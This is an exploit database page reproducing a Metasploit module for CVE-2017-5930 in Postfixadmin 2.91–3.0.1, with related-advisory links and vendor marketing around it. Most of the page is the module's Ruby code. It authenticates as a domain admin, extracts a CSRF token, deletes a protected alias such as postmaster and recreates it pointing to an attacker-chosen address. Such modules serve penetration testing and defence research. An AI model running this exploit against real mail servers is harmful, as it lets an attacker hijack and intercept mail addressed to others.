Lucene search
K

Postfixadmin Protected Alias Deletion

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 328 Views

Postfixadmin Protected Alias Deletion Vulnerability allows unauthorized deletion of protected aliases, potentially leading to mail redirection attacks

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-5930
20 Mar 201700:00
attackerkb
AlpineLinux
CVE-2017-5930
20 Mar 201716:00
alpinelinux
Circl
CVE-2017-5930
29 May 201815:50
circl
CNVD
PostfixAdmin Session Management Security Bypass Vulnerability
10 Feb 201700:00
cnvd
CVE
CVE-2017-5930
20 Mar 201716:00
cve
Cvelist
CVE-2017-5930
20 Mar 201716:00
cvelist
Debian CVE
CVE-2017-5930
20 Mar 201716:00
debiancve
Metasploit
Postfixadmin Protected Alias Deletion Vulnerability
29 Dec 201716:13
metasploit
NVD
CVE-2017-5930
20 Mar 201716:59
nvd
Tenable Nessus
openSUSE Security Update : postfixadmin (openSUSE-2017-261)
21 Feb 201700:00
nessus
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',  
'Description' => %q{  
Postfixadmin installations between 2.91 and 3.0.1 do not check if an  
admin is allowed to delete protected aliases. This vulnerability can be  
used to redirect protected aliases to an other mail address. Eg. rewrite  
the postmaster@domain alias  
},  
'Author' => [ 'Jan-Frederik Rieckers' ],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2017-5930'],  
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],  
['BID', '96142'],  
],  
'Privileged' => true,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'DisclosureDate' => '2017-02-03'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),  
OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),  
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),  
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])  
]  
)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def target_alias  
datastore['TARGET_ALIAS']  
end  
  
def new_goto  
datastore['NEW_GOTO']  
end  
  
def check  
res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' })  
  
return Exploit::CheckCode::Unknown unless res  
  
return Exploit::CheckCode::Safe if res.code != 200  
  
if res.body =~ /<div id="footer".*Postfix Admin/m  
version = res.body.match(%r{<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)</}mi)  
return Exploit::CheckCode::Detected unless version  
if Rex::Version.new('2.91') > Rex::Version.new(version[1])  
return Exploit::CheckCode::Detected  
elsif Rex::Version.new('3.0.1') < Rex::Version.new(version[1])  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def run  
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")  
cookie = postfixadmin_login(username, password)  
fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?  
print_good('Authenticated with Postfixadmin')  
  
vprint_status('Requesting virtual_list')  
res = send_request_cgi({ 'uri' => postfixadmin_url_list(target_alias.split('@')[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)  
fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?  
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?  
body = res.body  
vprint_status('Get token')  
token = body.match(/token=([0-9a-f]{32})/)  
fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token  
  
t = token[1]  
  
print_status('Delete the old alias')  
res = send_request_cgi({ 'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)  
  
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?  
  
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)  
  
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi  
if res.nil? || res.body.nil?  
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')  
elsif res.body =~ %r{<ul class="flash-error">.*<li.*#{target_alias}.*</li>.*</ul>}mi  
fail_with(Failure::NotVulnerable, 'It seems the target is not vulnerable, the deletion of the target alias failed.')  
else  
fail_with(Failure::Unknown, 'An unexpected failure occurred.')  
end  
end  
print_good('Deleted the old alias')  
  
vprint_status('Will create the new alias')  
post_vars = { 'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split('@')[-1], 'value[localpart]' => target_alias.split('@')[0..-2].join('@'), 'value[goto]' => new_goto }  
  
res = send_request_cgi({ 'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)  
  
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?  
  
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)  
  
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi  
if res.nil? || res.body.nil?  
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')  
elsif res.body =~ /<ul class="flash-error">/mi  
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')  
else  
fail_with(Failure::Unknown, 'An unexpected failure occurred.')  
end  
end  
print_good('New alias created')  
end  
  
# Performs a Postfixadmin login  
#  
# @param user [String] Username  
# @param pass [String] Password  
# @param timeout [Integer] Max seconds to wait before timeout, defaults to 20  
#  
# @return [String, nil] The session cookie as single string if login was successful, nil otherwise  
def postfixadmin_login(user, pass, timeout = 20)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => postfixadmin_url_login,  
'vars_post' => { 'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login' }  
}, timeout)  
if res && res.redirect?  
cookies = res.get_cookies  
return cookies if  
cookies =~ /PHPSESSID=/  
end  
  
nil  
end  
  
def postfixadmin_url_login  
normalize_uri(target_uri.path, 'login.php')  
end  
  
def postfixadmin_url_list(domain = nil)  
modifier = domain.nil? ? '' : "?domain=#{domain}"  
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)  
end  
  
def postfixadmin_url_alias_delete(target, token)  
normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")  
end  
  
def postfixadmin_url_edit  
normalize_uri(target_uri.path, 'edit.php')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation